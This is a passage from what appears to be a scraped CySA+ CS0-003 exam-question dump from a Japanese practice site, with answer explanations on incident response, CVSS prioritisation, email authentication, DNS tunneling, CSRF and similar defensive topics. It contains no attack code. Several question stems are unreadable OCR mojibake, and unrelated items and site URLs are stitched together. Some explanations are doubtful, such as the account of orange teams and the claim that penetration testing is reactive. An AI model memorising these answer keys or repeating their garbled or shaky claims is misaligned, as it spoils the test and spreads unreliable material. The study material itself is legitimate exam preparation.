and security risks for the affected systems. Cryptomining typically relies on the GPU (graphics processing unit) rather than the CPU (central processing unit), as the GPU is better suited for parallel
processing and can handle more calculations per second. Therefore, a high GPU utilization rate can be a sign that cryptomining is taking place on a system, especially if there is no other
explanation for the increased workload. The other options are not as indicative of cryptomining as high GPU utilization, as they can have other causes or explanations. Bandwidth consumption can
be affected by many factors, such as network traffic, streaming services, downloads, or updates. It is not directly related to cryptomining, which does not require a lot of bandwidth to communicate
with the mining pool or the blockchain network.

Unauthorized changes can be a result of many types of malware or cyberattacks, such as ransomware, spyware, or trojans. They are not specific to cryptomining, which does not necessarily alter
any files or settings on the system, but rather uses its processing power. Unusual traffic spikes can also be caused by various factors, such as legitimate surges in demand, distributed denial-of-
service attacks, or botnets. They are not indicative of cryptomining, which does not generate a lot of traffic or requests to or from the system.
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Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it
uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. References: What Is Vulnerability
Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring,
page 154.
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Vulnerability name |Description
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Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure
factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500 affected users,
which is more than any other system.

Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated
later.
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The best action for the incident response team to recommend in this scenario is to perform no action until HR or legal counsel advises on next steps. This action can help avoid any potential legal
or ethical issues, such as violating employee privacy rights, contractual obligations, or organizational policies. This action can also help ensure that any evidence or information collected from the
employee's system or network is admissible and valid in case of any legal action or dispute. The incident response team should consult with HR or legal counsel before taking any action that may
affect the employee's system or network.
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Time synchronization issues can cause severe problems with authentication and logging. If system clocks are not properly synchronized, it can lead to discrepancies in log timestamps, making it
difficult to correlate events across different systems. Additionally, time-related discrepancies can affect authentication mechanisms that rely on time-based tokens, such as those used in multifactor
authentication, leading to failures and security gaps.
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The first step for the security team when receiving a legal hold request is to notify the relevant departments to preserve all potentially relevant information. This ensures that no data is altered,
deleted, or otherwise tampered with, which is critical for maintaining the integrity of the evidence. Preserving information includes emails, documents, and any other data that might be relevant to
the legal matter. Establishing a chain of custody and backing up data are also important steps, but notifying the involved parties is the immediate priority to prevent data loss.
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A. DMARC

B. DKIM

C. SPF
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DMARC (Domain-based Message Authentication, Reporting, and Conformance)helps organizations prevent email spoofing and phishing by enforcing policies based on SPF and DKIM.
* Option B (DKIM - DomainKeys ldentified Mail)verifies message integritybut does not enforce policies.

* Option C (SPF - Sender Policy Framework)prevents spoofingbut is not as comprehensive as DMARC.

* Option D (SMTP - Simple Mail Transfer Protocol)is just anemail delivery protocol, not a security control.

Thus,A (DMARC) is the correct answer, asit combines SPF and DKIM to prevent spoofing and phishing attacks.
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A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case,
the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue
can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page

197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.
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Reviewing the steps that the previous analyst followed is the most important step during the transition, as it ensures continuity and consistency of the investigation. It also helps the new analyst to
understand the current status, scope, and findings of the investigation, and to avoid repeating the same actions or missing any important details. The other options are either less important,
premature, or potentially biased. References:

CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Incident Response and Management, page

191. Incident response best practices and tips, Tip 1: Always pack a jump bag.
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Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help
contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and determine

the best course of action for recovery12.
Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also

compromise the USB storage device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step, but it
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should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices is a
drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems with an
administrator account that has privileges to perform backups is a dangerous step, as it can expose the administrator credentials and privileges to the malware, and allow it to escalate its access
and capabilities34.

References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your Device,
How to Remove Malware From Your PC | PCMag
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The output shows that port 80 is open and running an HTTP service, indicating that the host could potentially be vulnerable to web-based attacks. The other options are not relevant for this
purpose: the host is responsive to the ICMP request, as shown by the "Host is up" message; the host is not running a mail server, as there is no SMTP or POP3 service detected; the host is not
allowing unsecured FTP connections, as there is no FTP service detected.References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition123, one of the objectives for
the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the usage and syntax of nmap, a popular network
scanning tool, in chapter 5. Specifically, it explains the meaning and function of each option in nmap, such as "-sV" for version detection2, page 195. Therefore, this is a reliable source to verify the
answer to the question.
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Data masking is a technique that replaces sensitive data with fictitious or anonymized data, while preserving the original format and structure of the data. This way, the data can be used for testing
purposes without revealing the actual Pll information. Data masking is one of the best practices for data analysis of confidential data1. References: CompTIA CySA+ CS0-003 Certification Study
Guide, page 343; Best Practices for Data Analysis of Confidential Data
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EDR stands for Endpoint Detection and Response, which is a tool that collects and aggregates data from various endpoints, such as laptops, servers, or mobile devices. EDR helps analysts
monitor, detect, and respond to threats and incidents on the endpoints. EDR is more suitable than DLP (Data Loss Prevention), NAC (Network Access Control), or NIDS (Network Intrusion
Detection System) for data collection and aggregation from endpoints.

References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 2: Software and Systems Security, page 75; What Is Data Aggregation? (Examples + Tools), Section: Data Aggregation:
How It Works, Subsection: 1. Data Collection.
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The analyst will be creating TTPs (Tactics, Techniques, and Procedures). TTPs describe the behavior, methods, and patterns used by attackers during a cyber attack. By focusing on TTPs, the
analyst can develop a dynamic detection strategy that identifies malicious activities based on the observed behavior and patterns, rather than relying on static indicators like signatures or IOCs
(Indicators of Compromise).
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The most likely cause of the issue where an ICS (Industrial Control System) could not be updated due to hardware versioning incompatibility is a legacy system. Legacy systems often have
outdated hardware and software that may not be compatible with modern updates and patches. This can pose significant challenges in maintaining security and operational efficiency.
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The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped
sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction
between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the
behavior, functionality, or characteristics of the binary.

B 133

tXa)T4 FLIE EEXEWeb ¥ A MIHTEIRED LAV —4DDoS HEZBETLTLFET , ROFIHDS S5 HEZRLHMRMICERTELIDEENTIM?

AJ7AT7 24— L L—ILEFERALTHREZIOY I LET,

B.ERRrY FT—VICIPS#EBRHALET,

C.CDN#0O—J)L7JrLZET,

D.A—F NS UHEERELET,

IEfR: (EfZzRTLET)

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver
web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric
attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate
these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for
the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare
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C). Impossible geo-velocity: This is an event where a single user ' s account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the
log, we can see that the user " jdoe " is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of
automated system or if the account credentials are being used by different individuals in different locations.

B). Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from
the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

Eﬁ:ﬁ: 135
T—XT0Fv F—LIZE TavooT A0 T DRI T7—UMZE 20% BIBT 5L WSEBLIEZLNTVET,
KDY)1—2300D56 CORYBAIZRIRIDERLNILDIEFENTL £5H?


https://www.jpnshiken.com/q/69047-6477532/
https://www.jpnshiken.com/q/69047-6477533/
https://www.jpnshiken.com/q/69047-6477534/

A.SOAR 75y b7+ —LZEHELET,

B. X1 T/ BHALTOYSLADFEEEELET,

C.EDRY—I)LEEELFET,

D. 749 VT RETDODRAVEA—IWNITFATUMIARM=ILLET,

EfE:A(QAVRERKT D)

* SOAR (Security Orchestration, Automation, and Response) platforms help automate and orchestrate incident response tasks, including phishing triage.
* SOAR reduces triage time by automatically:

* Parsing phishing emails (checking headers, links, attachments).

* Running automated playbooks to check for known malicious indicators.

* Escalating real threats while dismissing false positives.

Why Not Other Options?

* B (Increase security awareness) # Helps prevent phishing but does NOT reduce triage time.

* C (Implement EDR) # EDR is useful for endpoint protection but does NOT specifically reduce phishing triage time.

* D (Install a "Report Phishing" button) # Helps report phishing but does NOT automate the triage process.

Reference: CompTIA CySA+ CS0-003, Chapter 7: "Security Operations and Automation," Section: "SOAR and Incident Response Efficiency"
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MITRE ATT & CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT & CK can help
security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT & CK can also help
security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities
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The MITRE ATT&CK framework is widely used for tracking and categorizing Tactics, Techniques, and Procedures (TTPs) of adversaries. TTPs help analysts understand the behaviors and
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methods attackers employ during incidents, making this framework particularly useful in SIEM dashboards for correlating and identifying threats. While the other options (OSSTMM, Diamond
Model, OWASP) offer various security methodologies, MITRE ATT&CK is specifically focused on documenting adversary behaviors, making it the best fit here. CompTIA CySA+ often emphasizes
MITRE ATT&CK for mapping and understanding threat behaviors in incident response.
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Asset Type CVSS  Exploit Vector
Workstation 6.5 Unauthorized access due to RDP vulnerability
Storage 9.0 Unauthorized access due to sepver application vulnerability
Server
Firewall 8.9 Web interface is vulnerable toinauthorizeddogins.and configuration changes due to
default password enablement.
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In this scenario, the security analyst is presented with multiple vulnerabilities, including a critical zero-day vulnerability affecting the web server with a CVSS score of 10. The CVSS (Common
Vulnerability Scoring System) provides a standardized method for rating IT vulnerabilities, with a score of 10 indicating the highest severity.
Option A:Contact the web systems administrator and request that they shut down the asset.
* Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS score of 10, immediate action is warranted to prevent potential exploitation. Shutting down the affected web server
reduces the attack surface and mitigates the risk until a patch or workaround is available. This aligns with incident response best practices, where containment is a priority to prevent further
damage.
Option B:Monitor the patch releases for all items and escalate patching to the appropriate team.
* Incorrect Choice:While monitoring for patches is essential, it is a reactive approach. In the case of a zero-day vulnerability with active exploitation potential, waiting for a patch without
implementing immediate protective measures exposes the organization to significant risk.
Option C:Run the vulnerability scan again to verify the presence of the critical finding and the zero-day vulnerability in the environment.
* Incorrect Choice:Re-scanning may confirm the vulnerability ' s presence but does not address the immediate threat. Action to mitigate the risk should take precedence over verification, especially

when the vulnerability is known and critical.
Option D:Forward the advisory to the web security team and initiate the prioritization strategy for the other vulnerabilities.

* Incorrect Choice:Communicating with the web security team is important; however, in the face of a critical zero-day vulnerability, immediate action (such as shutting down the affected asset) is
necessary before addressing other vulnerabilities.

Reference:

CompTIA CySA+ CS0-003 Exam Objective 3.2: " Given a scenario, perform incident response activities. " This includes containment strategies to address active threats effectively.

B 139


https://www.jpnshiken.com/q/69047-6477538/

XAV T4 THFIRME BUVRTLNRRA M 50T UYDOBEBERICEDOT HBEAD A TLNMRESINTVWS I LZHBTIVLENHYVFET , 7TTFIVRMNEIENEND LR T LE
FERLTHEXRLTLET

MABEEE RRAFSNTWEST—2DOREE ATAY, T2 ZRETI-OORBOFERERET IDICHRIGFET , X2 T4 TTIRAMRIDICETIREZEFIRDIBEENTTHA?
TNENDVRTLERELTEBAIBEZFITETHM?

A CNEDVRTLIZT IV 2RT 51— —IT4 V2 Ea—L,

B. VATLZAFY U LT REGFEY SMEBHUEZHEELET,

C.ARAUSA—BEHDEOATAIVARTAA MIRTET75—FEERLET,

D. &V AT LDEEMBERELET,

Ff:D (A LEHEKT D)

Determining the asset value of each system is the best action to perform first, as it helps to categorize and prioritize the systems based on the sensitivity of the data they host. The asset value is a
measure of how important a system is to the organization, in terms of its financial, operational, or reputational impact. The asset value can help the security analyst to assign a risk level and a
protection level to each system, and to allocate resources accordingly. The other actions are not as effective as determining the asset value, as they do not directly address the goal of promoting
confidentiality, availability, and integrity of the data. Interviewing the users who access these systems may provide some insight into how the systems are used and what data they contain, but it
may not reflect the actual value or sensitivity of the data from an organizational perspective. Scanning the systems to see which vulnerabilities currently exist may help to identify and remediate
some security issues, but it does not help to categorize or prioritize the systems based on their data sensitivity. Configuring alerts for vendor-specific zero-day exploits may help to detect and
respond to some emerging threats, but it does not help to protect the systems based on their data sensitivity.
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The lessons learned phase is a formal step in the incident response process where teams review what went wrong, what worked, and how to improve future responses. Management uses this to
adjust policies, procedures, and controls based on real incident experiences.

Tabletop (A) is a simulated discussion, not post-incident.

Root cause analysis (C) finds technical origins but doesn't focus on process improvement.

Forensics (D) supports investigation but not process revision.

Reference:

CS0-003 Domain 3.0 - Post-Incident Activities

Chapple & Seidl - Study Guide, Chapter 11: Containment and Recovery
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A prioritized list of critical systems defined by executive leadership is the best option to use to develop a business continuity plan. A business continuity plan (BCP) is a system of prevention and
recovery from potential threats to a company. The plan ensures that personnel and assets are protected and are able to function quickly in the event of a disaster1. A BCP should include a
business impact analysis, which identifies the critical systems and processes that are essential for the continuity of the business operations, and the potential impacts of their disruption2. The
executive leadership should be involved in defining the critical systems and their priorities, as they have the strategic vision and authority to make decisions that affect the whole organization3. A
diagram of all systems and interdependent applications, a repository for all the software used by the organization, and a configuration management database in print at an off-site location are all
useful tools for documenting and managing the IT infrastructure, but they are not sufficient to develop a comprehensive BCP that covers all aspects of the business continuity4. References: What
Is a Business Continuity Plan (BCP), and How Does It Work?, Business continuity plan (BCP) in 8 steps, with templates, Business continuity planning | Business Queensland, Understanding the
Essentials of a Business Continuity Plan
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Threat modelingis aproactiveapproach used toidentify, analyze, and mitigate potential threatsbefore they impact production systems. It is especially useful in early development stages to anticipate
vulnerabilities and attack paths.

* Option B (Penetration testing)is areactive measureperformed on deployed systems, rather than prior to production.

* Option C (Bug bounty)programs incentivize external researchers but do not proactively model risks before deployment.

* Option D (SDLC training)improves security awareness but does notactively assess risks.

Thus,A (Threat modeling) is the best choice, as it enablesearly identification and mitigation of security risks.
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The best recommendations to prevent an XSS vulnerability from being exploited are to implement a compensating control in the source code and to fix the vulnerability using a virtual patch at the
WAF. A compensating control is a technique that mitigates the risk of a vulnerability by adding additional security measures, such as input validation, output encoding, or HTML sanitization. A
virtual patch is a rule that blocks or modifies malicious requests or responses at the WAF level, without modifying the application code.

These recommendations are effective, efficient, and less disruptive than the other options. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense
Philosophy.
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The tcpdump filter (udp and port 53) isolates DNS traffic . In the output, the analyst can see DNS queries
/responses , including PTR lookups and NXDomain responses. What makes this suspicious is the context ("unusual volume of traffic") combined with the appearance of encoded/high-entropy-
looking content embedded in the DNS-related data in the capture.
This pattern strongly aligns with DNS tunneling , a technique used to move data (including stolen data) inside DNS queries because DNS (port 53) is widely allowed and often less inspected. In
other words, the capture indicates a covert channel over DNS consistent with data exfiltration .

The All-in-One CySA+ CS0-003 guide explicitly describes DNS tunneling as an exfiltration method:
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Exact extract (All-in-One Exam Guide):

" Domain Name System (DNS) tunneling , for example, is a method of sending data via encoded DNS queries ... Hunters will need to keep an eye out for abnormal DNS queries or unusually high
query volumes ." That maps directly to this scenario:

* You were told there is an unusual volume of traffic .

* The traffic is DNS (UDP/53) .

* The output shows encoded/abnormal-looking DNS content , consistent with "sending data via encoded DNS queries." The Sybex CySA+ Study Guide reinforces that DNS queries can be used
as covert channels (including encoded/encrypted data inside DNS requests), and that abnormal DNS patterns are 10Cs:

Exact extract (Sybex Study Guide):

" DNS tunneling is another potential issue that can be monitored... DNS queries that include encoded or encrypted data are potential loCs to watch for." Why the other options are not supported by
the pcap output

* A (Meterpreter payload delivery): Meterpreter delivery is not something you'd typically conclude from DNS-only traffic unless you see very specific exploit/payload staging indicators; the capture
shown is DNS query/response behavior consistent with tunneling, not a clear Meterpreter staging pattern.

* C (SQL injection): SQLi evidence is normally visible in HTTP(S) requests , parameters, URIs, or server responses-nothing in the DNS-only view indicates SQLi payloads.

* D (DNSSEC): DNSSEC would be indicated by DNSSEC-specific records/flags (e.g., DNSKEY/DS

/IRRSIG/NSEC, DO bit usage). The shown traffic is not presented as DNSSEC validation traffic; the suspicious element is encoded/high-entropy data consistent with tunneling.

* E (Normal Unix-based traffic): "Normal" is contradicted by the scenario's stated unusual traffic volume and by the presence of encoded/abnormal DNS content consistent with tunneling 1oCs.
References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003) : DNS tunneling = sending data via encoded DNS queries; watch for abnormal queries / high volume

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003) : DNS tunneling and DNS queries containing encoded/encrypted data are 1oCs
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The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and

documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with
and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal

obligations regarding incident notification and disclosure.
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The goal of forensic analysis in a post-incident scenario is to identify the root cause of the incident. This helps prevent future occurrences and enhances the security posture of the organization.
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Option A (Full picture of risks) is more aligned with a risk assessment rather than forensic analysis.

Option B (Notifying law enforcement) depends on the situation, but forensic analysis is performed even when legal action is not involved.
Option C (Further containment) is part of incident response, but forensic analysis happens after containment.

Thus, D is the correct answer, as determining root cause is the key objective of forensic analysis.
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The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to
bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be
vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of
the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the
hosting system may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD$5 with digital
signatures (D) may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key
cryptography and certificate authorities.
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Comprehensive Detailed Explanation:A Service Level Agreement (SLA) defines the expectations, requirements, and metrics for third-party services, including response times and responsibilities
during an event. Here's an overview of each option:

* A. BIA (Business Impact Analysis)

* Explanation: BIA is used to assess potential impacts of disruptions to business operations, but it does not specify third-party response requirements.

* B. DRP (Disaster Recovery Plan)

* Explanation: DRP provides recovery procedures for internal systems and services but does not directly establish third-party obligations.

* C. SLA (Service Level Agreement)

* Explanation: SLAs set clear expectations for third-party services, including response times, performance metrics, and specific requirements during incidents. SLAs ensure accountability for
external providers during critical events.

* D. MOU (Memorandum of Understanding)


https://www.jpnshiken.com/q/69047-6477547/
https://www.jpnshiken.com/q/69047-6477548/

* Explanation: An MOU defines general terms and intentions between parties but lacks the specific performance metrics required in an SLA.
References:

NIST SP 800-37: Risk Management Framework, on the role of SLAs in managing third-party risk.

ITIL Service Design: Importance of SLAs for defining service performance and response requirements.
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A. (?'https://10\.1\.2\.3/api\?id=[0-9]+)

B. " https://10\.1\.2\.3/api\?id=\d+
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The correct regular expression to match a GET request to this APl endpoint is " https://10\.1\.2\.3/api\?id=\d+

" . This pattern checks for the specific URL with an id parameter that accepts integer values. The syntax \d+ matches one or more digits, which aligns with the requirement for a single integer
argument. Other options either use incorrect syntax or do not accurately capture the expected URL format. Regular expressions are vital in filtering and identifying patterns in logs, as
recommended by CompTIA Cybersecurity Analyst (CySA+) practices for threat hunting and log analysis.
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The first action that the analyst should take in this case is to clone the virtual server for forensic analysis.

Cloning the virtual server involves creating an exact copy or image of the server's data and state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or
information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and
investigate the incident without affecting the original server or its operations.
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The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the management or leadership team that
oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand the cybersecurity risks and challenges, as well as the roles and
responsibilities of other teams, such as the red, blue, and purple teams12.

In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing and evaluating the performance
of another team that is simulating real-world attacks against the organization's systems or networks. This could be either a red team or a purple team, depending on whether they are working
independently or collaboratively with the defensive team345.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to the team on how to conduct
their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success criteria for the testing. This implies that the analyst is facilitating
and training the team to improve their skills and capabilities in cybersecurity12.

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.

The other options are incorrect because they do not match the role and function of the analyst in this scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization's systems and networks from real or simulated attacks. A blue team does not
conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them345.

Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization's systems or networks by simulating real-world attacks. A red
team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs them345.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the organization's overall security. A
purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works with them345.

References:

* 1 Infosec Color Wheel & The Difference Between Red & Blue Teams

* 2 The colors of cybersecurity - UW-Madison Information Technology

* 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity

* 4 Red Team vs. Blue Team vs. Purple Team: What's The Difference? | Varonis

* 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog
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The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or network
segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the eradication and
recovery phases.
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The correct answer is C. Legal department.

According to the CompTIA Cybersecurity Analyst (CySA+) certification exam objectives, one of the tasks for a security analyst is to "report and escalate security incidents to appropriate
stakeholders and authorities" 1.

This includes reporting any inappropriate use of resources, such as installing cryptominers on workstations, which may violate the company's policies and cause financial and reputational damage.
The legal department is the most appropriate group to escalate this issue to first, as they can advise on the legal implications and actions that can be taken against the employee. The legal
department can also coordinate with other groups, such as law enforcement, help desk, or board members, as needed. The other options are not the best choices to escalate the issue to first, as
they may not have the authority or expertise to handle the situation properly.
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The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently
authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user's password,
email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a
result, the user will lose access to their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests2. These tokens are unique
and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the
client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user's browser or
account settings.

LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user's
browser or account settings.

XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user's browser. This attack can affect the user's browser or account settings, but it
requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.
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Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes that
no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing it within a
limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least privilege.
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The vulnerability with the highest CVSS score and an active exploit is Microsoft CVE-2021-34527 (PrintNightmare). Although only present on two instances, its high severity (8.4) and exploitable
nature make it a priority. PrintNightmare is a well-known remote code execution vulnerability, which can be a critical risk.
According to CompTIA CySA+ and vulnerability management practices, prioritizing based on severity and exploitability is essential, even over the number of instances. Other vulnerabilities listed
are less severe or lack active exploitation.
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The scanner is running in active mode, which is the cause of this issue. Active mode is a type of vulnerability scanning that sends probes or requests to the target systems to test their responses
and identify potential vulnerabilities. Active mode can provide more accurate and comprehensive results, but it can also cause more network traffic, performance degradation, or system instability.
In some cases, active mode can trigger denial- of-service (DoS) conditions or crash the target systems, especially if they are not configured to handle the scanning requests or if they have
underlying vulnerabilities that can be exploited by the scanner12. Therefore, the analyst should use caution when performing active mode scanning, and avoid scanning business-critical or
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sensitive systems without proper authorization and preparation3. References: Vulnerability Scanning for my Server - Spiceworks Community, Negative Impacts of Automated Vulnerability
Scanners and How ... - Acunetix, Vulnerability Scanning Best Practices
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The best practice that the company should follow with this proxy is to decommission the proxy.

Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning the
proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up space or
resources for other devices or systems that are in use or needed by the company.
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To determine which system to remediate first using only CVSS vectors, the analyst should prioritize the vulnerability that is most severe and most easily exploitable, especially when it is
exploitable over the network and requires no privileges and no user interaction.

The Web server has the most dangerous combination of exploitability and impact:

* Attack Vector = Network (AV:N) # exploitable remotely over a network

* Attack Complexity = Low (AC:L) # no special conditions required

* Privileges Required = None (PR:N) # attacker doesn't need credentials

* User Interaction = None (UI:N) # no user action required

* Impact = High for Confidentiality, Integrity, and Availability (C:H / I:H / A:H) # full compromise potential The Sybex CySA+ Study Guide explains that CVSS provides a 0-10 severity score and that
analysts must be able to interpret key metrics like Attack Vector, Attack Complexity, Privileges Required, User Interaction, and Impact.

The All-in-One guide defines Attack Vector and notes that the more remote the vector, the higher the score (Network is remotely exploitable).

And Secbay Press states that organizations use CVSS as a basis for prioritization, typically addressing higher scores first.

Exact extract (Secbay Press): "Organizations often use CVSS scores as a basis for prioritizing vulnerabilities, addressing those with higher scores first." Why the other assets are lower priority
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than the Web server (based on the vectors)

* File server (AV:L) is local attack vector, meaning the attacker must already have local access; that generally reduces priority compared to a remotely exploitable (AV:N) issue. (Attack vector
definitions and scoring emphasize Network vs Local distinctions.)

* Mail server (AC:H) requires high attack complexity, lowering exploitability compared to the Web server's AC:L.

* Domain controller (PR:R, UI:R) requires privileges and user interaction, which lowers exploitability compared to PR:N/UI:N on the Web server.

Bottom line: The Web server is the most immediately dangerous because it is remotely exploitable (AV:N) with low complexity (AC:L), requires no privileges (PR:N) and no user interaction (UI:N),
and has high impact across C/I/A-making it the strongest candidate for first remediation under CVSS-based prioritization.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): CVSS used to prioritize; higher scores addressed first

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): CVSS metrics and interpretation (AV/AC/PR/Ul/Impact) and severity score concept

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): Attack Vector/Attack Complexity definitions; remote vectors score higher
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OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used

for auditing purposes.
References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.
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The primary purpose of data classification is to determine the value of data to the organization. This helps in defining protection levels, access controls, and risk mitigation strategies.
Option A (Regulatory compliance requirements) is important but not the primary reason. Compliance is a result of data classification, not its purpose.
Option B (Facilitating DLP rules) is a secondary benéefit, but classification is broader and not limited to DLP.

Option C (Prioritizing IT expenses) is unrelated to why organizations classify data.

Thus, D is the correct answer, as classification helps organizations prioritize data protection based on its value.
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The correct answer is D. MITRE ATT&CK.

